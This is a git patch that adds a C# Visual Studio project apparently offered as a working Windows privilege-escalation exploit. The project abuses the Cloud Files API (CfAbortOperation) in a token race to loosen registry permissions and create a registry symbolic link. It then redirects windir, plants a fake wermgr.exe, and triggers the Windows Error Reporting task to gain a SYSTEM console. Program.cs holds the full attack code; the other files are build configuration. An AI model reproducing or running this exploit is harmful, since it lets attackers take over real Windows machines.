From 4f2501d1d5f19a8024b06d3fa98f8b9bcfa92eae Mon Sep 17 00:00:00 2001 From: Church of Malware Date: Wed, 10 Jun 2026 01:02:32 +0000 Subject: [PATCH] Upload files to "PoC_AbortHydration_ArbitraryRegKey_EoP" --- .../FodyWeavers.xsd | 186 +++++++++ ..._AbortHydration_ArbitraryRegKey_EoP.csproj | 125 ++++++ ...tHydration_ArbitraryRegKey_EoP.csproj.user | 13 + .../Program.cs | 369 ++++++++++++++++++ .../packages.config | 7 + 5 files changed, 700 insertions(+) create mode 100644 PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xsd create mode 100644 PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj create mode 100644 PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj.user create mode 100644 PoC_AbortHydration_ArbitraryRegKey_EoP/Program.cs create mode 100644 PoC_AbortHydration_ArbitraryRegKey_EoP/packages.config diff --git a/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xsd b/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xsd new file mode 100644 index 0000000..c0df09d --- /dev/null +++ b/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xsd @@ -0,0 +1,186 @@ + + + + + + + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtimes to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtimes names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead. + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with line breaks. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Controls if runtime assemblies are also embedded. + + + + + Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + The attach method no longer subscribes to the `AppDomain.AssemblyResolve` (.NET 4.x) and `AssemblyLoadContext.Resolving` (.NET 6.0+) events. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with |. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with |. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + + + + + + 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. + + + + + A comma-separated list of error codes that can be safely ignored in assembly verification. + + + + + 'false' to turn off automatic generation of the XML Schema file. + + + + + \ No newline at end of file diff --git a/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj b/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj new file mode 100644 index 0000000..eb8e0af --- /dev/null +++ b/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj @@ -0,0 +1,125 @@ + + + + + + Debug + AnyCPU + {352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3} + Exe + true + PoC_AbortHydration_ArbitraryRegKey_EoP + PoC_AbortHydration_ArbitraryRegKey_EoP + v4.8.1 + 512 + true + true + false + + + + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 1 + 1.0.0.%2a + false + true + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + false + + + 0F28BB121C2D5CEE6A57C741514F51E5F2D9ECAD + + + PoC_AbortHydration_ArbitraryRegKey_EoP_TemporaryKey.pfx + + + true + + + true + + + + ..\packages\Costura.Fody.6.2.0\lib\netstandard2.0\Costura.dll + + + ..\packages\TaskScheduler.2.12.2\lib\net48\Microsoft.Win32.TaskScheduler.dll + + + ..\packages\NtApiDotNet.1.1.33\lib\net461\NtApiDotNet.dll + + + + + + + + + + + + + + + + + + + + + + + + + + False + Microsoft .NET Framework 4.7.2 %28x86 and x64%29 + true + + + False + .NET Framework 3.5 SP1 + false + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + + + \ No newline at end of file diff --git a/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj.user b/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj.user new file mode 100644 index 0000000..75eb54d --- /dev/null +++ b/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj.user @@ -0,0 +1,13 @@ + + + + publish\ + + + + + + en-US + false + + \ No newline at end of file diff --git a/PoC_AbortHydration_ArbitraryRegKey_EoP/Program.cs b/PoC_AbortHydration_ArbitraryRegKey_EoP/Program.cs new file mode 100644 index 0000000..afe21d1 --- /dev/null +++ b/PoC_AbortHydration_ArbitraryRegKey_EoP/Program.cs @@ -0,0 +1,369 @@ +using Microsoft.Win32; +using Microsoft.Win32.TaskScheduler; +using NtApiDotNet; +using NtApiDotNet.Win32; +using System; +using System.Diagnostics; +using System.IO; +using System.IO.Pipes; +using System.Runtime.InteropServices; +using System.Security.AccessControl; +using System.Security.Cryptography; +using System.Security.Permissions; +using System.Threading; + +namespace PoC_AbortHydration_ArbitraryRegKey_EoP +{ + static class Program + { + static NtKey OpenKey(NtKey root, string path, KeyAccessRights desired_access) + { + Console.WriteLine("Opening for {0}", desired_access); + using (var obja = new ObjectAttributes(path, AttributeFlags.OpenLink, root)) + { + using (var key = NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile, false)) + { + if (key.IsSuccess) + return key.Result.Duplicate(); + } + + using (var imp = NtThread.Current.ImpersonateAnonymousToken()) + { + return NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile); + } + } + } + + static void SetSecurityDescriptor(NtKey key, SecurityInformation info) + { + var sd = new SecurityDescriptor("D:(A;OICIIO;GA;;;WD)(A;OICIIO;GA;;;AN)(A;;GA;;;WD)(A;;GA;;;AN)S:(ML;OICI;NW;;;S-1-16-0)"); + key.SetSecurityDescriptor(sd, info); + } + + static void ForceKeyDeleteKey(NtKey root, string name) + { + Console.WriteLine(@"Deleting {0}\{1}", root.FullPath, name); + using (var key = OpenKey(root, name, KeyAccessRights.WriteDac)) + { + Console.WriteLine("Opened for WriteDac"); + SetSecurityDescriptor(key, SecurityInformation.Dacl); + } + + using (var key = OpenKey(root, name, KeyAccessRights.WriteOwner)) + { + Console.WriteLine("Opened for WriteOwner"); + SetSecurityDescriptor(key, SecurityInformation.Label); + } + + using (var new_key = OpenKey(root, name, KeyAccessRights.Delete | KeyAccessRights.EnumerateSubKeys)) + { + Console.WriteLine("Opened for enumerate."); + DeleteRegistryTree(new_key); + new_key.Delete(); + } + } + + static void DeleteRegistryTree(NtKey root) + { + foreach (var name in root.QueryKeys()) + { + ForceKeyDeleteKey(root, name); + } + } + + [Flags] + enum AbortHydrationFlags + { + None = 0, + Unblock = 1, + Block = 2, + } + + [DllImport("cldapi.dll", CharSet = CharSet.Unicode)] + static extern int CfAbortOperation(int pid, IntPtr unknown, AbortHydrationFlags flags); + + + [StructLayout(LayoutKind.Sequential)] + struct CF_PLATFORM_INFO + { + public int BuildNumber; + public int RevisionNumber; + public int IntegrationNumber; + } + + [DllImport("cldapi.dll", CharSet = CharSet.Unicode)] + static extern int CfGetPlatformInfo( + out CF_PLATFORM_INFO PlatformVersion + ); + + static void ForceTokenThread(object obj) + { + try + { + using (var thread = (NtThread)obj) + { + Console.WriteLine("In force token thread {0}", thread); + using (var token = TokenUtils.GetAnonymousToken()) + { + while (true) + { + thread.SetImpersonationToken(token); + thread.SetImpersonationToken(null); + } + } + } + } + catch(ThreadAbortException) + { + return; + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + } + + const string ROOT_KEY = @"\Registry\User\.DEFAULT\Software\Policies\Microsoft"; + static string CLOUD_FILES = $@"{ROOT_KEY}\CloudFiles"; + static string BLOCKED_APPS = $@"{CLOUD_FILES}\BlockedApps"; + const string TARGET_KEY = @"\Registry\User\.DEFAULT\Volatile Environment"; + + static void CheckKeyThread(object root_key) + { + string path = (bool)root_key ? ROOT_KEY : @"\Registry\User\.DEFAULT"; + try + { + using (var key = NtKey.Open(path, null, KeyAccessRights.MaximumAllowed)) + { + while (true) + { + if (key.NotifyChange(NotifyCompletionFilter.Name, true) == NtStatus.STATUS_NOTIFY_ENUM_DIR) + { + Console.WriteLine("Change detected."); + Environment.Exit(0); + break; + } + } + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + } + + static int Check(this int hr) + { + if (hr < 0) + Marshal.ThrowExceptionForHR(hr); + return hr; + } + + const int MAX_STAGE = 4; + + static void Stage0() + { + for (int i = 1; i < MAX_STAGE; ++i) + { + Win32ProcessConfig config = new Win32ProcessConfig + { + CommandLine = $"run {i}", + ApplicationName = typeof(Program).Assembly.Location, + TerminateOnDispose = true + }; + + using (var p = Win32Process.CreateProcess(config)) + { + if (p.Process.Wait(10) != NtStatus.STATUS_SUCCESS) + { + throw new ArgumentException($"Failed to run stage {i}"); + } + } + } + } + + static void Stage1(bool root_key) + { + Thread check_key_th = new Thread(CheckKeyThread); + check_key_th.IsBackground = true; + check_key_th.Start(root_key); + Thread.Sleep(1000); + + var th = NtThread.OpenCurrent(); + var anon_thread = new Thread(ForceTokenThread) + { + IsBackground = true + }; + anon_thread.Start(th); + + while (true) + { + CfAbortOperation(NtProcess.Current.ProcessId, + IntPtr.Zero, AbortHydrationFlags.Block); + } + } + + static void Stage2() + { + using (var key = OpenKey(null, CLOUD_FILES, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner | KeyAccessRights.EnumerateSubKeys)) + { + SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label); + DeleteRegistryTree(key); + } + + NtKey.CreateSymbolicLink(BLOCKED_APPS, null, TARGET_KEY); + Stage1(false); + } + + static void Stage3() + { + using (var key = OpenKey(null, BLOCKED_APPS, KeyAccessRights.Delete)) + { + Console.WriteLine("Cleaning up link {0}", key.FullPath); + key.Delete(); + } + + using (var key = OpenKey(null, TARGET_KEY, KeyAccessRights.WriteDac | KeyAccessRights.WriteOwner)) + { + SetSecurityDescriptor(key, SecurityInformation.Dacl | SecurityInformation.Label); + } + var key2 = Registry.Users.OpenSubKey(@".DEFAULT\Volatile Environment", RegistryRights.FullControl); + foreach(var subkey in key2.GetSubKeyNames()) + { + var fullsubkey = TARGET_KEY + @"\" + subkey; + Console.WriteLine("Cleaning up subkey {0}", fullsubkey); + NtKey _subkey; + try + { + _subkey = NtKey.Open(fullsubkey, null, KeyAccessRights.WriteDac); + } + catch (Exception ex) + { + + _subkey = OpenKey(null, fullsubkey, KeyAccessRights.WriteDac); + } + SetSecurityDescriptor(_subkey, SecurityInformation.Dacl); + _subkey.Close(); + _subkey = NtKey.Open(fullsubkey, null, KeyAccessRights.Delete); + _subkey.Delete(); + _subkey.Close(); + } + + key2.Close(); + using(NtKey ntarget = NtKey.Open(TARGET_KEY,null,KeyAccessRights.SetValue)) + { + ntarget.SetValue("windir", Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName)); + } + + string fakesys32 = Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName) + @"\System32"; + Directory.CreateDirectory(fakesys32); + string fakewer = fakesys32 + @"\wermgr.exe"; + File.Copy(Process.GetCurrentProcess().MainModule.FileName, fakewer, true); + + var srvnamedpipe = new NamedPipeServerStream("MiniPlasmaWERPipe"); + System.Threading.Tasks.Task pipewait = srvnamedpipe.WaitForConnectionAsync(); + + using (TaskService tasksvc = new TaskService()) + { + Task wertask = tasksvc.GetTask(@"\Microsoft\Windows\Windows Error Reporting\QueueReporting"); + wertask.Run(); + wertask.Dispose(); + } + if(!pipewait.Wait(2000)) + { + Console.WriteLine("Exploit failed."); + } + else + { + Console.WriteLine("Exploit succeeded."); + } + srvnamedpipe.Dispose(); + Thread.Sleep(1000); + try + { + File.Delete(fakewer); + Directory.Delete(fakesys32); + } + catch (Exception ex) + { } + using (NtKey ntarget = NtKey.Open(TARGET_KEY, null, KeyAccessRights.Delete)) + { + ntarget.Delete(false); + } + + } + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool GetNamedPipeServerSessionId(IntPtr Pipe, out UInt32 ClientProcessId); + + static void Main(string[] args) + { + bool isSystem; + using (var identity = System.Security.Principal.WindowsIdentity.GetCurrent()) + { + isSystem = identity.IsSystem; + } + if (isSystem) + { + Environment.SetEnvironmentVariable("windir", @"C:\Windows",EnvironmentVariableTarget.Process); + var namedpipeclient = new NamedPipeClientStream("MiniPlasmaWERPipe"); + namedpipeclient.Connect(); + UInt32 nSesID; + IntPtr hPipe = namedpipeclient.SafePipeHandle.DangerousGetHandle(); + if (!GetNamedPipeServerSessionId(hPipe, out nSesID)) + return; + namedpipeclient.Dispose(); + NtToken token = NtToken.OpenEffectiveToken(); + NtToken token2 = token.DuplicateToken(); + token.Dispose(); + token = token2; + token.SetSessionId(((int)nSesID)); + Win32Process.CreateProcessAsUser(token, @"C:\Windows\System32\conhost.exe", "", CreateProcessFlags.None, null); + return; + + } + + + try + { + CfGetPlatformInfo(out CF_PLATFORM_INFO _).Check(); + + if (args.Length <= 1) + { + int stage = args.Length > 0 ? int.Parse(args[0]) : 0; + switch (stage) + { + case 0: + Stage0(); + break; + case 1: + Stage1(true); + break; + case 2: + Stage2(); + break; + case 3: + Stage3(); + break; + default: + throw new ArgumentException("Erm?"); + } + } + else + { + using (var token = TokenUtils.GetLogonUserToken(args[0], "", args[1], SecurityLogonType.Network, null)) + { + using (var imp = token.Impersonate()) + { + CfAbortOperation(NtProcess.Current.ProcessId, IntPtr.Zero, AbortHydrationFlags.Block).Check(); + } + } + } + } + catch (Exception ex) + { + Console.WriteLine(ex); + } + } + } +} diff --git a/PoC_AbortHydration_ArbitraryRegKey_EoP/packages.config b/PoC_AbortHydration_ArbitraryRegKey_EoP/packages.config new file mode 100644 index 0000000..e7e6172 --- /dev/null +++ b/PoC_AbortHydration_ArbitraryRegKey_EoP/packages.config @@ -0,0 +1,7 @@ + + + + + + + \ No newline at end of file